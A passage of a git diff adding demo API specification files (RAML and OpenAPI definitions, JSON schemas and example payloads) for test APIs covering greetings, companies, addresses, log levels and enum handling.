../1/2/aflac-canonical-definitions/1.0.0/security-schemes/securityScheme-basic.raml \ No newline at end of file diff --git a/demo/apis/SE-17897/SE-17897.yaml b/demo/apis/SE-17897/SE-17897.yaml new file mode 100755 index 0000000..6f27395 --- /dev/null +++ b/demo/apis/SE-17897/SE-17897.yaml @@ -0,0 +1,21 @@ +openapi: '3.0.2' +info: + title: 'SE-17897' + version: 1.0.0 + +paths: + /default: + post: + parameters: + - in: query + name: conversationId + required: false + description: > + The ConversationId uniquely identifies the message sent from the sender to the receiver. + schema: + type: string + format: uuid + example: '242ab55c-de2b-4822-a411-945e85882b60' + responses: + '201': + description: Created diff --git a/demo/apis/SE-19500/SE-19500.raml b/demo/apis/SE-19500/SE-19500.raml new file mode 100755 index 0000000..ccb18e9 --- /dev/null +++ b/demo/apis/SE-19500/SE-19500.raml @@ -0,0 +1,95 @@ +#%RAML 1.0 +title: canda-mule4-example +documentation: + - title: Home + content: !include docs/home.md +version: api +baseUri: https://mule-worker-internal-canda-mule4-example-deve.de-c1.cloudhub.io:33443/api + +uses: + candaCommons: modules/canada-commons/canda-commons.raml + myTypes: modules/canda-mule4-example-data-types/api.raml + +securedBy: [candaCommons.basicAuth] + +types: + Companies: !include ref/companies-schema.json + +/greetings: + description: The greetings resource contains only a simple message. The message text might be customized by passing a query parameter. + is: [ candaCommons.client-id-required ] + get: + description: Answers a collection of three simple greetings. + responses: + 200: + body: + application/json: + example: !include modules/canda-mule4-example-data-types/examples/greetings-example.json + type: myTypes.greetings + 204: + description: The response does not contain any content. + put: + description: Creates a representation of a simple greeting message. This is a pseudo operation, the API does not store the representation in any way. + body: + application/json: + examples: + example1: !include modules/canda-mule4-example-data-types/examples/greeting-example.json + type: myTypes.greeting + responses: + 201: + body: + application/json: + example: !include modules/canda-mule4-example-data-types/examples/greeting-example.json + type: myTypes.greeting + /{name}: + description: Responds with a greeting a for the given 'name'. + is: [ candaCommons.client-id-required ] + uriParameters: + name: + type: string + example: "mike" + get: + description: Answers a greeting representation for the given 'name'. + queryParameters: + message: + displayName: message + type: string + description: Pass a message which should be used by the response. + required: false + example: "Hi, Dude" + responses: + 200: + body: + application/json: + example: !include modules/canda-mule4-example-data-types/examples/greeting-example.json + type: myTypes.greeting +/companies: + description: The companies resource is probably the most simple representation of a C&A company. + is: [ candaCommons.client-id-required ] + get: + description: Answers a collection (1..n) of all available Companies with their basic attributes. + responses: + 200: + body: + application/json: + example: !include ref/companies-example.json + type: !include ref/companies-schema.json + 204: + description: The response does not contain any content. + post: + description: Add a new company + body: + application/json: + examples: + example1: !include ref/companies-example.json + type: Companies + responses: + 201: + description: Created + +/logLevels/{loggerName}: + type: candaCommons.logLevel + is: [ candaCommons.client-id-required ] +/ping: + type: candaCommons.ping + is: [ candaCommons.client-id-required ] diff --git a/demo/apis/SE-19500/modules/canada-commons/canda-commons.raml b/demo/apis/SE-19500/modules/canada-commons/canda-commons.raml new file mode 100755 index 0000000..505352a --- /dev/null +++ b/demo/apis/SE-19500/modules/canada-commons/canda-commons.raml @@ -0,0 +1,64 @@ +#%RAML 1.0 Library +usage: | + This library defines some common concepts to be used throughout C&A's API specifications. + +traits: + client-id-required: + usage: Apply this trait to every API/resource that is protected by "client-id enforcement". + description: Access requires client credentials (ID and secret). + +resourceTypes: + ping: + description: Answers a little JSON structure containing the most essential information on the application in question. + get: + responses: + 200: + body: + application/json: + example: !include ref/ping-example.json + type: !include ref/ping-schema.json + logLevel: + description: Change the severity of a specific logger. + uriParameters: + loggerName: + description: Name of the logger whose level is to be changed. + type: string + required: true + example: "org.apache" + put: + body: + application/json: + example: !include ref/log-levels-example.json + type: !include ref/log-levels-schema.json + responses: + 200: + body: + application/json: + description: | + Add + "#[com.canda.mulestac.logging.ChangeLogLevel.changeWithJson(flowVars.loggerName, payload)]" + to your generated set-payload flow element. + example: !include ref/log-levels-response-example.json + type: !include ref/log-levels-response-schema.json + +securitySchemes: + basicAuth: + displayName: Basic Authentication + description: This API supports Basic Authentication. The client has to provide an "Authorization" header with valid credentials. + type: Basic Authentication + + describedBy: + headers: + Authorization: + description: Used to send valid credentials. + type: string + example: Basic ax5Gdza5OnJpZnG4Z2ok + responses: + 401: + description: Credentials are missing or could not be validated by the server. + +annotationTypes: + deprecated: + type: string + description: Mark resources or methods that should not be used any longer accordingly. + allowedTargets: [ Resource, Method ] diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-example.json b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-example.json new file mode 100755 index 0000000..e9f7afb --- /dev/null +++ b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-example.json @@ -0,0 +1,3 @@ +{ + "newLevel": "DEBUG" +} \ No newline at end of file diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-example.json b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-example.json new file mode 100755 index 0000000..267547b --- /dev/null +++ b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-example.json @@ -0,0 +1,3 @@ +{ + "message" : "TODO you need to replace this generated setpayload by #[com.canda.mulestac.logging.ChangeLogLevel.changeWithJson(flowVars.loggerName, payload)] in the api.xml" +} \ No newline at end of file diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-schema.json b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-schema.json new file mode 100755 index 0000000..6b13e8b --- /dev/null +++ b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-schema.json @@ -0,0 +1,10 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "type": "object", + "properties": { + "message": { + "description":"the human readable result of the changeLogLevel operation.", + "type": "string" + } + } +} \ No newline at end of file diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-schema.json b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-schema.json new file mode 100755 index 0000000..b690c9d --- /dev/null +++ b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-schema.json @@ -0,0 +1,30 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "type": "object", + "title": "change a certain log level", + "properties": { + "newLevel": { + "type": "string", + "description": "The new log level to be set.", + "enum": [ + "OFF", + "ERROR", + "WARN", + "INFO", + "DEBUG", + "TRACE" + ] + }, + "createFlag": { + "description": "Optional parameter to create a logger in case it does not exist (to avoid typo errors for existing loggers).", + "type": "boolean" + }, + "hoursToReset": { + "description": "Delay in hours after which time the logger is set back to its original log level.", + "type": "integer" + } + }, + "required": [ + "newLevel" + ] +} \ No newline at end of file diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/ping-example.json b/demo/apis/SE-19500/modules/canada-commons/ref/ping-example.json new file mode 100755 index 0000000..9554808 --- /dev/null +++ b/demo/apis/SE-19500/modules/canada-commons/ref/ping-example.json @@ -0,0 +1,7 @@ +{ + "application": { + "name": "some-application-system", + "version": "2019.8.1", + "stage": "deve" + } +} \ No newline at end of file diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/ping-schema.json b/demo/apis/SE-19500/modules/canada-commons/ref/ping-schema.json new file mode 100755 index 0000000..23e4b69 --- /dev/null +++ b/demo/apis/SE-19500/modules/canada-commons/ref/ping-schema.json @@ -0,0 +1,49 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "type": "object", + "title": "Describes a /ping response that provides meta information of the application in place.", + "required": [ + "application" + ], + "properties": { + "application": { + "type": "object", + "description": "The application object holds some basic information concerning self.", + "required": [ + "name", + "version", + "stage" + ], + "properties": { + "name": { + "type": "string", + "description": "The name of the application. Corresponds to the Maven 'artifactId'.", + "examples": [ + "some-application-system" + ] + }, + "version": { + "type": "string", + "description": "The version of the deployed application.", + "examples": [ + "2019.8.1", "2020.1.2-SNAPSHOT" + ] + }, + "stage": { + "type": "string", + "description": "The stage (environment) the application is currently running.", + "enum": [ + "local", + "deve", + "apps", + "ints", + "prod", + "trai", + "pref", + "phot" + ] + } + } + } + } +} \ No newline at end of file diff --git a/demo/apis/SE-19500/modules/canda-mule4-example-data-types/api.raml b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/api.raml new file mode 100755 index 0000000..5962f21 --- /dev/null +++ b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/api.raml @@ -0,0 +1,6 @@ +#%RAML 1.0 Library +usage: Shared DataType definitions for the **canda-mule4-example** API. + +types: + greeting: !include types/greeting-schema.json + greetings: !include types/greetings-schema.json diff --git a/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greeting-example.json b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greeting-example.json new file mode 100755 index 0000000..ba47af3 --- /dev/null +++ b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greeting-example.json @@ -0,0 +1,4 @@ +{ + "id": "82157f46-887e-4907-b7c6-06278b3b9ea1", + "message": "Welcome and thanks for your request, mike." +} \ No newline at end of file diff --git a/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greetings-example.json b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greetings-example.json new file mode 100755 index 0000000..41fb36f --- /dev/null +++ b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greetings-example.json @@ -0,0 +1,15 @@ +{ + "greetings": [{ + "id": "1568b2db-9e2f-4025-b7ae-05301901d362", + "message": "Enjoy this wonderful day while the sun is shining on the autumn leaves." + }, + { + "id": "0bde5b56-bad6-4ed8-9ac6-355587761610", + "message": "Can you hear the waves? Most amazing sound I've ever heard." + }, + { + "id": "57b5673e-73f0-4512-bca1-5255dc6f25b5", + "message": "Mindfulness is one of the secrets for a happy life." + } + ] +} \ No newline at end of file diff --git a/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greeting-schema.json b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greeting-schema.json new file mode 100755 index 0000000..2d0498f --- /dev/null +++ b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greeting-schema.json @@ -0,0 +1,22 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "description": "Describes simple greeting representation consisting of an ID and a message.", + "additionalProperties": false, + "type": "object", + "required": [ + "id", + "message" + ], + "properties": { + "id": { + "type": "string", + "minLength": 36, + "maxLength": 36, + "description": "The ID of the representation, a randomly generated UUID." + }, + "message": { + "type": "string", + "description": "The text message of the greeting." + } + } +} diff --git a/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greetings-schema.json b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greetings-schema.json new file mode 100755 index 0000000..af94189 --- /dev/null +++ b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greetings-schema.json @@ -0,0 +1,34 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "description": "Describes a collection of 0..n simple message representations consisting of an ID and a text.", + "additionalProperties": false, + "type": "object", + "required": [ + "greetings" + ], + "properties": { + "greetings": { + "type": "array", + "description": "Holds the collection of simple messages.", + "items": { + "type": "object", + "required": [ + "id", + "message" + ], + "properties": { + "id": { + "type": "string", + "minLength": 36, + "maxLength": 36, + "description": "The ID of the representation, a randomly generated UUID." + }, + "message": { + "type": "string", + "description": "The text of the message." + } + } + } + } + } +} \ No newline at end of file diff --git a/demo/apis/SE-19500/ref/companies-example.json b/demo/apis/SE-19500/ref/companies-example.json new file mode 100755 index 0000000..ebc7f6c --- /dev/null +++ b/demo/apis/SE-19500/ref/companies-example.json @@ -0,0 +1,14 @@ +{ + "companies": [ + { + "code": 2, + "name": "C & A Mode GmbH & Co. KG, Germany", + "companyType": "EU" + }, + { + "code": 11, + "name": "C & A Nederland", + "companyType": "EU" + } + ] +} \ No newline at end of file diff --git a/demo/apis/SE-19500/ref/companies-schema.json b/demo/apis/SE-19500/ref/companies-schema.json new file mode 100755 index 0000000..48367e4 --- /dev/null +++ b/demo/apis/SE-19500/ref/companies-schema.json @@ -0,0 +1,70 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "description": "Describes the probably most simple representation of a CANDA company.", + "additionalProperties": true, + "definitions": {}, + "properties": { + "companies": { + "items": { + "additionalProperties": true, + "properties": { + "code": { + "type": "integer", + "minimum": 0, + "maximum": 99, + "description": "The code of the given company is the unique identifier of the entity." + }, + "name": { + "type": "string", + "maxLength": 50, + "description": "The legal name of the given company." + }, + "companyType": { + "anyOf": [ + { + "type": "string", + "maxLength": 10, + "description": "The legal name of the given company.", + "enum": [ + "EU" + ] + }, + { + "type": "string", + "description": "Any future added type", + "maxLength": 10 + } + ] + } + }, + "required": [ + "code", + "name" + ], + "type": "object" + }, + "type": "array" + }, + "companyType": { + "anyOf": [ + { + "type": "string", + "maxLength": 10, + "description": "The legal name of the given company.", + "enum": [ + "EU" + ] + }, + { + "type": "string", + "description": "Any future added type", + "maxLength": 10 + } + ] + } + }, + "required": [ + "companies" + ], + "type": "object" +} \ No newline at end of file diff --git a/demo/apis/aap-1698/aap-1698.raml b/demo/apis/aap-1698/aap-1698.raml new file mode 100644 index 0000000..0ebcf3a --- /dev/null +++ b/demo/apis/aap-1698/aap-1698.raml @@ -0,0 +1,26 @@ +#%RAML 1.0 +title: AAP-1698 + +/working: + post: + body: + application/json: + type: object + properties: + userType: + type: + enum: [Admin, User, System] + required: false + +/not-working: + post: + body: + application/json: + type: object + properties: + mappers: + description: optional set of mapper types to use for handling the request. + type: array + items: + enum: [ "lookup","ml","fasttext"] + required: false \ No newline at end of file diff --git a/demo/apis/apic-83/apic-83.raml b/demo/apis/apic-83/apic-83.raml new file mode 100644 index 0000000..0080d23 --- /dev/null +++ b/demo/apis/apic-83/apic-83.raml @@ -0,0 +1,32 @@ +#%RAML 1.0 +title: 00193743 + +types: + Email: + type: object + properties: + name: + type: string + subject: + type: string + sent: + type: datetime + + TestType: + properties: + name: string + + Emails: + type: array + items: Email + minItems: 1 + uniqueItems: true + + GoodEmails: + type: Email[] + minItems: 1 + + BadEmails: + type: array + items: Emails | TestType + minItems: 1 diff --git a/demo/apis/demo-document/demo-document.raml b/demo/apis/demo-document/demo-document.raml new file mode 100644 index 0000000..04c515c --- /dev/null +++ b/demo/apis/demo-document/demo-document.raml @@ -0,0 +1,21 @@ +#%RAML 1.0 DocumentationItem +title: About +content: | + This is test document. + + ## Example + Let's say you want to generate a random number in the request. So the property + value like: + ``` + http://www.domain.com/?time=${now} + ``` + can produce: + ``` + http://www.domain.com/?time=12312312312 + ``` + ## Build-in magic variables. + | Variable | Description | Example | + | --- | --- | --- | + | `${random}` | Will generate random number in range from 0 to Number.MAX_SAFE_INTEGER | 9007199254740991 | + | `${random:NUMBER}` | A variation of `${random}` where the result will be remembered and can be used in other property. If the same `NUMBER` occurs again then previously generated value will be used. | 7199254740 | + | `${now}` | Inserts current epoch time | 12312312312 | diff --git a/demo/apis/enum-test/enum-test.raml b/demo/apis/enum-test/enum-test.raml new file mode 100755 index 0000000..1b3a5c6 --- /dev/null +++ b/demo/apis/enum-test/enum-test.raml @@ -0,0 +1,64 @@ +#%RAML 1.0 +title: Australian Trade Mark Search API +description: 'Australian Trade Mark Search API.' +version: v1 + +types: + TrademarkApiAdvancedSearch: + type: object + properties: + Working1?: + type: TrademarkPierreWorking1Type + Working2?: + type: TrademarkPierreWorking2Type + Working3?: + type: TrademarkPierreWorking3Type + NotWorking?: + type: TrademarkPierreNotWorkingType + TrademarkPierreWorking1Type: + type: object + properties: + foo1: + type: string + enum: + - NON_USE + - INTERNATIONAL_REGISTRATION + - REGULATED + - SERIES + TrademarkPierreWorking2Type: + type: array + items: + type: object + properties: + foo2: + type: string + enum: + - NON_USE + - INTERNATIONAL_REGISTRATION + - REGULATED + - SERIES + TrademarkPierreWorking3Type: + type: string + enum: + - NON_USE + - INTERNATIONAL_REGISTRATION + - REGULATED + - SERIES + TrademarkPierreNotWorkingType: + type: array + items: + type: string + enum: + - NON_USE + - INTERNATIONAL_REGISTRATION + - REGULATED + - SERIES + +/testEndpoint: + post: + displayName: Paged Advanced Search + description: Returns a pageable list of Trade Marks with their details. + body: + application/json: + description: Trade Mark Advanced Search payload + type: TrademarkApiAdvancedSearch diff --git a/demo/apis/examples-api/Address-1.0.raml b/demo/apis/examples-api/Address-1.0.raml new file mode 100755 index 0000000..b40ffc9 --- /dev/null +++ b/demo/apis/examples-api/Address-1.0.raml @@ -0,0 +1,75 @@ +#%RAML 1.0 DataType +displayName: Address +type: object +examples: + BE_Address: !include examples/Address_BE_Example-1.0.raml + GB_Address: !include examples/Address_GB_Example-1.0.raml + NL_Address: !include examples/Address_NL_Example-1.0.raml +properties: + addressType: + description: Specifies the type of address. + type: string + enum: ['TRADING-ADDRESS','REGISTERED-OFFICE-ADDRESS','POSTAL-ADDRESS'] + required: false + building: + description: Building + type: string + required: false + example: "HYGEIA BUILDING" + streetName: + description: Street name + type: string + required: false + example: "College Road" + streetNameAdd1: + description: Street name (part 2) + required: false + type: string + example: "66 68 COLLEGE ROAD" + streetNameAdd2: + description: Street name (part 3) + type: string + required: false + example: "HARROW, MIDDLESEX, HA1 1BE., UNITED KINGDOM" + streetNameAdd3: + description: Street name (part 4) + type: string + required: false + houseNumber: + description: House number + type: string + required: false + houseNumberAddition: + description: House number addition + type: string + required: false + poBoxNumber: + description: P.O Box + type: string + required: false + postalCode: + description: Postal code + type: string + required: false + city: + description: City + type: string + required: false + state: + description: State or province + type: string + required: false + country: + description: Country name + type: string + required: false + countryCode: + description: Country code + type: string + required: false + example: "GB" + fullFormatedAddress: + description: Full formatted address + type: string + required: false + example: "HYGEIA BUILDING, 66 68 COLLEGE ROAD, HARROW, MIDDLESEX, HA1 1BE., UNITED KINGDOM" diff --git a/demo/apis/examples-api/CompanyIdentification-1.0.raml b/demo/apis/examples-api/CompanyIdentification-1.0.raml new file mode 100755 index 0000000..bc9161c --- /dev/null +++ b/demo/apis/examples-api/CompanyIdentification-1.0.raml @@ -0,0 +1,48 @@ +#%RAML 1.0 DataType +displayName: Company identification +description: This object represents the indentification of a company. +type: object +examples: + BE_CompanyId: !include examples/CompanyIdentification_BE_Example-1.0.raml + GB_CompanyId: !include examples/CompanyIdentification_GB_Example-1.0.raml + NL_CompanyId: !include examples/CompanyIdentification_NL_Example-1.0.raml +properties: + countryCode: + description: The country code identifying the country where a company resides. + type: string + minLength: 2 + maxLength: 2 + required: true + graydonEnterpriseId: + description: The unique company identifier issued by Graydon. + type: integer + required: false + example: 1558501924 + registrationId: + description: The unique (legal) company identifier in the country where it resides; a Chamber of Commerce number in the Netherlands, CRO number in the United Kingdom and Company number in Belgium. + required: false + type: string + minLength: 1 + maxLength: 12 + example: "330803480000" + vatNumber: + description: The unique VAT number issued to a company by competent authority in the country where it resides. + type: string + required: false + minLength: 1 + maxLength: 15 + example: "NL004753975B01" + graydonCompanyId: + description: The unique company identifier identifier issued by Graydon. + type: string + minLength: 1 + maxLength: 15 + example: "501924" + required: false + isBranchOffice: + description: Determines if this company is a branch office or not (=head office) + type: boolean + required: false + branchIdentification: + description: Identification of the branch office. + required: false diff --git a/demo/apis/examples-api/CompanyProfile-1.0.raml b/demo/apis/examples-api/CompanyProfile-1.0.raml new file mode 100755 index 0000000..107ca47 --- /dev/null +++ b/demo/apis/examples-api/CompanyProfile-1.0.raml @@ -0,0 +1,14 @@ +#%RAML 1.0 DataType +displayName: Company Profile +description: This object contain all base company data +type: !include CompanyProfileBase-1.0.raml +examples: + BE_Profile: !include examples/CompanyProfile_BE_Example-1.0.raml + GB_Profile: !include examples/CompanyProfile_GB_Example-1.0.raml + NL_Profile: !include examples/CompanyProfile_NL_Example-1.0.raml +properties: + companyIdentification: + type: !include CompanyIdentification-1.0.raml + required: true + companyName: + required: true diff --git a/demo/apis/examples-api/CompanyProfileBase-1.0.raml b/demo/apis/examples-api/CompanyProfileBase-1.0.raml new file mode 100755 index 0000000..54c93e3 --- /dev/null +++ b/demo/apis/examples-api/CompanyProfileBase-1.0.raml @@ -0,0 +1,48 @@ +#%RAML 1.0 DataType +displayName: Company Profile base object +description: This object contain all base company data +type: object +properties: + companyIdentification: + type: !include CompanyIdentification-1.0.raml + required: false + companyName: + description: The official registered company name. Generally a company has only one official registered name; for Beglian companies a company may have two official registered names. + type: string + required: false + alternateCompanyName: + description: The official registered alternate company name. + type: string + required: false + tradeNames: + description: De trade name is the name a company uses to trade. It is mainly used to distinct itself from other companies and has also a publicity value. A company have 0 or more trade names. + type: array + items: string + required: false + companyAddress: + type: array + items: !include Address-1.0.raml + required: false + legalForm: + description: The current legal form + type: object + required: false + isActive: + displayName: Specifies if company is registered as an active company or not + type: string + enum: ['true','false','unknown'] + required: false + foundationDate: + displayName: The foundation date of the company (Derivation of Incorporation date or Establishment date) + type: date-only + required: false + example: 2015-05-24 + dissolutionDate: + displayName: The dissolution date of the company + type: date-only + required: false + example: 2017-03-22 + nonEmailIndicator: + displayName: Company explicitly indicates not to appreciate receiving unsolicited emails + type: boolean + required: false diff --git a/demo/apis/examples-api/contact-email-example.raml b/demo/apis/examples-api/contact-email-example.raml new file mode 100644 index 0000000..6682c26 --- /dev/null +++ b/demo/apis/examples-api/contact-email-example.raml @@ -0,0 +1,6 @@ +- + type: 'GENERAL' + value: 'info@company.be' +- + type: 'IT_DEPT' + value: 'it-service@company.be' diff --git a/demo/apis/examples-api/contact-example.raml b/demo/apis/examples-api/contact-example.raml new file mode 100644 index 0000000..cda3170 --- /dev/null +++ b/demo/apis/examples-api/contact-example.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +- + type: 'GENERAL' + countryDialCode : '+32' + areaCode : '22' + subscriberNumber: '12.87.00' + formatted: '+32-(0)22 000000' diff --git a/demo/apis/examples-api/contact-fax-example.raml b/demo/apis/examples-api/contact-fax-example.raml new file mode 100644 index 0000000..062bff6 --- /dev/null +++ b/demo/apis/examples-api/contact-fax-example.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +- + type: 'GENERAL' + countryDialCode : '+32' + areaCode : '21' + subscriberNumber: '12.87.00' + formatted: '+32-(0)21 302099' diff --git a/demo/apis/examples-api/contact-website-example.raml b/demo/apis/examples-api/contact-website-example.raml new file mode 100644 index 0000000..0805d7f --- /dev/null +++ b/demo/apis/examples-api/contact-website-example.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 NamedExample +- + type: "GENERAL" + value: "www.company.be" diff --git a/demo/apis/examples-api/example-1.raml b/demo/apis/examples-api/example-1.raml new file mode 100644 index 0000000..ab8fcb1 --- /dev/null +++ b/demo/apis/examples-api/example-1.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +countryCode: "BE" +graydonEnterpriseId: 1057155523 +registrationId: "0422319093" +vatNumber: "BE0422319093" +graydonCompanyId: "0422319093" +isBranchOffice: false \ No newline at end of file diff --git a/demo/apis/examples-api/example-2.raml b/demo/apis/examples-api/example-2.raml new file mode 100644 index 0000000..96bd6cb --- /dev/null +++ b/demo/apis/examples-api/example-2.raml @@ -0,0 +1,12 @@ +#%RAML 1.0 NamedExample +- #Item 1 + addressType: 'REGISTERED-OFFICE-ADDRESS' + streetName: 'UITBREIDINGSTRAAT' + houseNumber: '84' + houseNumberAddition: '/1' + postalCode: '2600' + city: 'BERCHEM (ANTWERPEN)' + country: 'Belgium' + countryCode: 'BE' + fullFormatedAddress: "UITBREIDINGSTRAAT 84 /1, 2600 BERCHEM (ANTWERPEN), BELIUM" +# addressClassification: !include AddressClassification_BE-Example-1.raml \ No newline at end of file diff --git a/demo/apis/examples-api/example-3.raml b/demo/apis/examples-api/example-3.raml new file mode 100644 index 0000000..8f0eed8 --- /dev/null +++ b/demo/apis/examples-api/example-3.raml @@ -0,0 +1,5 @@ +#%RAML 1.0 NamedExample +phoneNumber: !include contact-example.raml +faxNumber: !include contact-fax-example.raml +email: !include contact-email-example.raml +website: !include contact-website-example.raml diff --git a/demo/apis/examples-api/example-4.raml b/demo/apis/examples-api/example-4.raml new file mode 100644 index 0000000..40cbf2d --- /dev/null +++ b/demo/apis/examples-api/example-4.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +code: '5' +description: 'Limited company' \ No newline at end of file diff --git a/demo/apis/examples-api/example-5.raml b/demo/apis/examples-api/example-5.raml new file mode 100644 index 0000000..be280a8 --- /dev/null +++ b/demo/apis/examples-api/example-5.raml @@ -0,0 +1,5 @@ +#%RAML 1.0 NamedExample +class: '3' +description: '150 - 300' +numberOfFte: 5500 +numberOfEmployees: 5232 \ No newline at end of file diff --git a/demo/apis/examples-api/example-6.raml b/demo/apis/examples-api/example-6.raml new file mode 100644 index 0000000..502c2c4 --- /dev/null +++ b/demo/apis/examples-api/example-6.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +code: 'J' +description: 'Information and communication' \ No newline at end of file diff --git a/demo/apis/examples-api/example-7.raml b/demo/apis/examples-api/example-7.raml new file mode 100644 index 0000000..f2226f5 --- /dev/null +++ b/demo/apis/examples-api/example-7.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +- + code: '7487' + description: 'Financial and insurance activities' + type: "PRIMARY" + classificationCode: 'BE_NACEBEL2008' + activityGroupCode: 'ABCDE' \ No newline at end of file diff --git a/demo/apis/examples-api/example.json b/demo/apis/examples-api/example.json new file mode 100644 index 0000000..0325823 --- /dev/null +++ b/demo/apis/examples-api/example.json @@ -0,0 +1,14 @@ +{ + "id": "R34fg663H9KW9MMSKISI", + "name": "Pawel Psztyc", + "birthday": "1983-10-20", + "gender": "male", + "url": "https://domain.com/profile/pawel.psztyc", + "image": { + "url": "https://domain.com/profile/pawel.psztyc/image", + "thumb": "https://domain.com/profile/pawel.psztyc/image/thumb" + }, + "tagline": "Some text about me.", + "language": "en_GB", + "etag": "\"W\\244m4n5kj3gbn2nj4k4n4\"" +} diff --git a/demo/apis/examples-api/example.xml b/demo/apis/examples-api/example.xml new file mode 100644 index 0000000..2c76be1 --- /dev/null +++ b/demo/apis/examples-api/example.xml @@ -0,0 +1,15 @@ + + + Qawer63J73HJ6khjswuqyq62382jG21s + John Smith + 1990-10-12 + male + https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s + + https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s/image + https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s/image/thumb + + Hi, I'm John! + en_US + W\\244m4n5kj3gbn2nj4k4n4 + diff --git a/demo/apis/examples-api/example.xsd b/demo/apis/examples-api/example.xsd new file mode 100644 index 0000000..f775497 --- /dev/null +++ b/demo/apis/examples-api/example.xsd @@ -0,0 +1,26 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/demo/apis/examples-api/examples-api.raml b/demo/apis/examples-api/examples-api.raml new file mode 100644 index 0000000..5fbf29f --- /dev/null +++ b/demo/apis/examples-api/examples-api.raml @@ -0,0 +1,313 @@ +#%RAML 1.0 +title: API demo +version: v1 +baseUri: http://api.domain.com/ + +mediaType: application/json + +types: + ScalarType: string + ScalarArray: string[] + ArrayType: + type: array + items: Image + UnionType: Image | Imgs + ScalarWithExample: + type: number + example: 5 + ScalarArrayWithExample: + type: number[] + example: [1, 5] + SimpleInlineExample: + type: object + properties: + testProperty: boolean + example: + testProperty: true + Image: + type: object + properties: + url: string + thumb: string + Imgs: + properties: + something: string + images: + type: Image[] + xml: + wrapped: true + Person: + properties: + error?: + type: boolean + xml: + attribute: true + id: + type: string | number + name: string + birthday: date-only + gender: + type: string + examples: + Male: male + Female: female + url: string + tagline: string + language: + type: string + default: PL + etag: + type: string + example: etag example + image: + type: object + properties: + url: string + thumb: string + opt?: Image | string + example: + error: false + id: 1234 + name: Pawel Psztyc + birthday: 20-10-1983 + tagline: Test example + url: https://domain.com + language: PL + etag: test + image: + url: https://image.com + thumb: https://image.com/thumb + JsonExampleInclude: + type: Person + example: !include example.json + XmlExampleInclude: + type: Person + example: !include example.xml + PropertyExamples: + properties: + xtra: + type: string + xml: + attribute: true + firstName: + type: string + example: Pawel + lastName: + type: string + example: Psztyc + address: Address + num: number + int: integer + bool: boolean + defVal: + type: integer + default: 10 + example: 1 + Address: + properties: + street: string + zip: + type: string + example: "94100" + default: "00000" + house: + type: number + example: 1 + TypeExamples: + properties: + firstName: string + lastName: string + example: + firstName: Pawel + lastName: Psztyc + ArrayTypeWithExample: + type: array + items: Image + example: [{"url": "url 1", "thumb": "thumb 1"}] + TypeWithExampleWithLinks: + type: !include type-with-linked-examples.raml + Users: !include users-raml-example.raml + UsersJson: !include users-json-example.raml + User: !include user-raml-example.raml + UserJson: !include user-json-example.raml +/IncludedInType: + post: + body: + application/json: + type: Person + application/xml: + type: Person +/IncludedInline: + post: + body: + application/json: + type: Person + example: + error: false + id: 1234 + name: Inline person + birthday: 01-01-1990 + tagline: Test example + url: https://domain.com + language: PL + etag: test + image: + url: https://image.com + thumb: https://image.com/thumb + application/xml: + type: !include example.xsd + example: !include example.xml +/IncludedInlineJson: + post: + body: + application/json: + type: !include user.raml + example: !include user.json +/typeExamples: + post: + body: + application/json: + type: TypeExamples + application/xml: + type: TypeExamples +/propertyExamples: + post: + body: + application/json: + type: PropertyExamples + application/xml: + type: PropertyExamples +/arrayTypeExample: + post: + body: + application/json: + type: TypeExamples[] +/arrayPropertyExamples: + post: + body: + application/json: + type: PropertyExamples[] + application/xml: + type: PropertyExamples[] +/arrayPropertyGeneratedExamples: + post: + body: + application/json: + type: array + items: + properties: + test: boolean + other: string + application/xml: + type: array + items: + properties: + test: boolean + other: string +/wrappedXml: + post: + body: + application/xml: + type: Imgs +/inline-property-example: + post: + body: + application/json: + type: object + properties: + limit: number + items: + type: string[] + example: [test, other] + application/xml: + type: object + properties: + limit: number + items: + type: string[] + example: [test, other] +/union: + post: + body: + application/json: + type: Person | PropertyExamples + application/xml: + 